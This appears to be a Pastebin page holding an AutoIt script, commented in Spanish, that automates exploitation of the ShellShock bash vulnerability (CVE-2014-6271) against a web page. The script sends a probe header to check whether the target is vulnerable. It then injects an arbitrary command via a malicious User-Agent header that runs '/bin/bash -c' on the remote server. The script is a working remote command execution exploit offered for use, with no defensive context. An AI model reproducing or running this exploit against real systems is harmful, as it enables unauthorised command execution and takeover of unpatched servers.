Advertisement
FlyFar

Shell Shock Exploit - Source Code

Jun 10th, 2023
2,159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 1.70 KB | Cybersecurity | 0 0
  1. #cs ----------------------------------------------------------------------------
  2.  
  3.  AutoIt Version: 3.3.8.1
  4.  Author: Naker90
  5.  
  6.  Parametros:
  7.   $sURL =>  URL de la pagina a explotar
  8.   $sCommand =>  Comandos a enviar al sistema vulnerado
  9.  
  10.  Script Function:
  11.     Automatiza la explotacion de la vulnerabilidad ShellShock (CVE-2014-6271)
  12.  
  13.  Basado en el codigo en Python de Claudio Viviani: http://www.homelab.it/wp-content/uploads/2014/09/gnu_b4sh_43_rci_v2.py_.txt
  14.  
  15. #ce ----------------------------------------------------------------------------
  16.  
  17. Func _ShellShock($sURL, $sCommand)
  18.  
  19.     ;Creando los objetos con los que vamos a trabajar
  20.     Local $oHTTP = ObjCreate('winhttp.winhttprequest.5.1')
  21.     Local $oERROR = ObjEvent('AutoIt.Error', 'Error')
  22.  
  23.     ;Comprobando que la pagina esta disponible
  24.     $oHTTP.Open('GET', $sURL, False)
  25.     $oHTTP.Send()
  26.     Local $sResponse = $oHTTP.Status()
  27.  
  28.     if $sResponse = 200 then
  29.  
  30.         ;Comprobando que la pagina es vulnerable
  31.         $oHTTP.Open('POST', $sURL, False)
  32.         $oHTTP.SetRequestHeader('Naker-Noventa', '() { :;}; echo ' & chr(34) & 'Shell: Shock' & chr(34))
  33.         $oHTTP.send()
  34.  
  35.         Local $sResponseHeaders = $oHTTP.GetAllResponseHeaders()
  36.  
  37.         If StringInStr($sResponseHeaders, 'Shell') then
  38.  
  39.  
  40.             ;Explotando la vulnerabilidad
  41.             Local $sHeaders = '() { :;}; /bin/bash -c ' & chr(34) & $sCommand & chr(34)
  42.  
  43.             $oHTTP.Open('POST', $sURL, False)
  44.             $oHTTP.SetRequestHeader('User-Agent', $sHeaders)
  45.             $oHTTP.send()
  46.  
  47.             MsgBox(64, 'OK', 'Comandos enviandos!')
  48.  
  49.         Else
  50.             MsgBox(16, 'ERROR', 'El Sistema no es vulnerable!')
  51.             exit
  52.         EndIf
  53.  
  54.     EndIf
  55.  
  56. EndFunc
  57.  
  58. Func Error()
  59.     Msgbox(16, 'ERROR', 'Ha ocurrido un error con la pagina especificada, compruebe la url y pruebe de nuevo')
  60. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement